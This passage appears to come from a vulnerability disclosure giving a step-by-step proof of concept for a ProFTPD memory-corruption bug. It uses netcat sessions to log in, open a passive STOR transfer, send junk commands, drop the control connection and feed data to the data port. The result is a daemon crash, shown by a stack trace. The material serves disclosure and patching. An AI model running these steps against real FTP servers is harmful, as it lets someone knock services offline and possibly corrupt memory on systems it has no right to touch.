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In my setup I changed default port to 2121 and created a user called poc.
Go to basic.conf file and change the Port value to:
Port 2121
Now, open a new shell (let's call this shell 2), netcat to FTP command
port and issue FTP login commands:
$ nc -Cv 127.0.0.1 2121
Connection to 127.0.0.1 2121 port [tcp/iprop] succeeded!
220 ProFTPD Server (ProFTPD Default Installation) [127.0.0.1]
USER poc
331 Password required for poc
PASS TretaTretaTretinha
230 User poc logged in
Now we need to start a data transfer. Since we want to have control over
the data, we could use STOU and STOR commands. However, due to the other
out-of-bounds read vulnerability, according to my tests, STOU is not a good
choice because:
a) it will mess up with the bounds and our exploitation;
b) we don't have control over the filename - this will be required if
you need to upload data into an existing file, in case you don't
have the permissions to create a new one.
So let's use STOR instead, but first let's put FTP in passive mode:
PASV
227 Entering Passive Mode (127,0,0,1,147,87).
The FTP data port to connect to is an unsigned short int (2-byte in size).
The formula to get port number is: X*256+Y. Open gdb and try it yourself:
gef➤ p/d 147*256+87
$4 = 37719
So in this case our FTP data port is 37719. Now open shell 3 and type:
$ nc -vl 127.0.0.1 $((147*256+87))
Connection to 127.0.0.1 37719 port [tcp/iprop] succeeded!
Now go back to shell 2 and issue the following:
STOR /tmp/blah.txt
150 Opening ASCII mode data connection for /tmp/blah.txt
At this moment, our FTP data connection is opened at shell 3, and waiting
for some data. Let's hold it for a while. Go back to shell 2 and issue some
fake commands:
1111 AAAAAAAAAAAAAAAAAAAAAAA
2222 BBBBBBBBBBBBBBBBBBBBBBB
3333 CCCCCCCCCCCCCCCCCCCCCCC
^C
$
Notice that after 3 fake commands I pressed ctrl+c to close the FTP control
connection, so we have no more control over this connection.
Now, go back to shell 3 and send some data:
$ nc -Cv localhost $((147*256+87))
Connection to localhost 37719 port [tcp/*] succeeded!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
nc: write failed (0/2): Broken pipe
$
As you can see, the connection was closed by remote host after some data
sent and a crash on ProFTPd daemon happened:
-----BEGIN STACK TRACE-----
... [0] proftpd: poc - localhost: IDLE(+0x215cd) [0x55c9806715cd]
... [1] proftpd: poc - localhost: IDLE(+0x215cd) [0x55c9806715cd]
... [2] proftpd: poc - localhost: IDLE(palloc+0x2c) [0x55c9806716b0]
... [3] proftpd: poc - localhost: IDLE(pstrdup+0x5b) [0x55c980673409]
... [4] proftpd: poc - localhost: IDLE(pr_response_set_pool+0x53) [0x55..]
... [5] proftpd: poc - localhost: IDLE(pr_cmd_dispatch_phase+0xe4) [0x5..]
... [6] proftpd: poc - localhost: IDLE(+0xa64e9) [0x55c9806f64e9]
... [7] proftpd: poc - localhost: IDLE(pr_event_generate+0x20e) [0x55c9..]
... [8] proftpd: poc - localhost: IDLE(+0x6ce75) [0x55c9806bce75]
... [9] proftpd: poc - localhost: IDLE(pr_session_end+0x20) [0x55c9806b..]
... [10] proftpd: poc - localhost: IDLE(pr_session_disconnect+0xaf) [0x..]
... [11] proftpd: poc - localhost: IDLE(+0x527cf) [0x55c9806a27cf]
... [12] proftpd: poc - localhost: IDLE(pr_data_xfer+0x68) [0x55c9806a2..]
... [13] proftpd: poc - localhost: IDLE(+0x9fb13) [0x55c9806efb13]
... [14] proftpd: poc - localhost: IDLE(pr_module_call+0x9d) [0x55c9806..]
... [15] proftpd: poc - localhost: IDLE(+0x1b8f2) [0x55c98066b8f2]
... [16] proftpd: poc - localhost: IDLE(pr_cmd_dispatch_phase+0x2dc) [0..]
... [17] proftpd: poc - localhost: IDLE(pr_cmd_dispatch+0x26) [0x55c980..]
... [18] proftpd: poc - localhost: IDLE(+0x1cbad) [0x55c98066cbad]
... [19] proftpd: poc - localhost: IDLE(+0x1decd) [0x55c98066decd]
... [20] proftpd: poc - localhost: IDLE(+0x1e6f4) [0x55c98066e6f4]
... [21] proftpd: poc - localhost: IDLE(+0x1eb5a) [0x55c98066eb5a]
... [22] proftpd: poc - localhost: IDLE(main+0x937) [0x55c98066f952]